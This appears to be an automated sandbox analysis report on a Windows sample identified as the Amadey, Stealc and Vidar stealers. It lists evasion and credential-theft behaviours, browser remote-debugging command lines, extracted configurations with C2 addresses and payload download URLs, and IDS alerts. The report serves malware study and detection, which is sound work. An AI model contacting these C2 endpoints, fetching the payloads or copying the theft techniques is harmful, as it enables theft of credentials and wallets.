Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1571002
MD5:	da3e48a074978cf8a3eeaa8e523a1b35
SHA1:	959463b589892d5aad9ce625ce81b2339dbe8b22
SHA256:	b0759e11c119210c0c58de1f33b83e5aa09b7db04769ef3252287f09fa5b83d1
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7296 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DA3E48A074978CF8A3EEAA8E523A1B35)

chrome.exe (PID: 7632 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7856 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=140 --field-trial-handle=2144,i,16764676859220455128,17652020922788016662,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 3320 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 420 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,7587504728193492124,3574688987422493380,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7860 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDGCFBFBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

HIDGCFBFBF.exe (PID: 6080 cmdline: "C:\Users\user\Documents\HIDGCFBFBF.exe" MD5: 41F7104E635F418EC5A33D817B5324D9)

skotes.exe (PID: 5720 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 41F7104E635F418EC5A33D817B5324D9)

msedge.exe (PID: 7576 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8076 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1980,i,12647095353753981946,6910227817760874048,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 6468 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 41F7104E635F418EC5A33D817B5324D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2747228238.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2747228238.0000000000D8C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2813539792.0000000000FA1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2179491110.0000000004E40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.2780992921.0000000000081000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.3410600377.0000000000FA1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7296	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7296	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7296	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7296	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
22.2.skotes.exe.dc8dc5.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
18.2.skotes.exe.fa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.HIDGCFBFBF.exe.80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.fa0000.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7296, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7632, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:45:12.091163+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:45:11.968904+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:45:12.416454+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:45:13.863104+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:45:12.538060+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:45:11.516968+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:47:06.597493+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50020	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:45:00.656732+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50027	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:47:11.059241+0100	2803305	3	Unknown Traffic	192.168.2.6	50032	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T17:45:14.817969+0100	2803304	3	Unknown Traffic	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-08T17:45:42.563938+0100	2803304	3	Unknown Traffic	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:44.480093+0100	2803304	3	Unknown Traffic	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:45.771829+0100	2803304	3	Unknown Traffic	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:47.248941+0100	2803304	3	Unknown Traffic	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:50.741867+0100	2803304	3	Unknown Traffic	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:51.818713+0100	2803304	3	Unknown Traffic	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:57.935682+0100	2803304	3	Unknown Traffic	192.168.2.6	49864	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpAy	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll0/	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/ows	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6554834407/ZdGtikR.exeXYZ0123456789	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6554834407/ZdGtikR.exe$0	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6554834407/ZdGtikR.exep	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6554834407/ZdGtikR.exe	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/kR.exeJuNko/index.php	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6554834407/ZdGtikR.exe5	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll9	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6554834407/ZdGtikR.exe:	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllW	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll_	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php3A	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllY	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000011.00000002.2780992921.0000000000081000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7296.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C986C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CADA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD44C0 PK11_PubEncrypt,	0_2_6CAD44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CAA4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD4440 PK11_PrivDecrypt,	0_2_6CAD4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB225B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CB225B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CABE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CAB8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CADA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CAFA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CB00180

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49755 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.72:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.187:443 -> 192.168.2.6:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49980 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2770268184.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: wextract.pdb source: ZdGtikR.exe.22.dr, ZdGtikR[1].exe.22.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: wextract.pdbGCTL source: ZdGtikR.exe.22.dr, ZdGtikR[1].exe.22.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2770268184.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 11MB later: 32MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50020 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50027

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

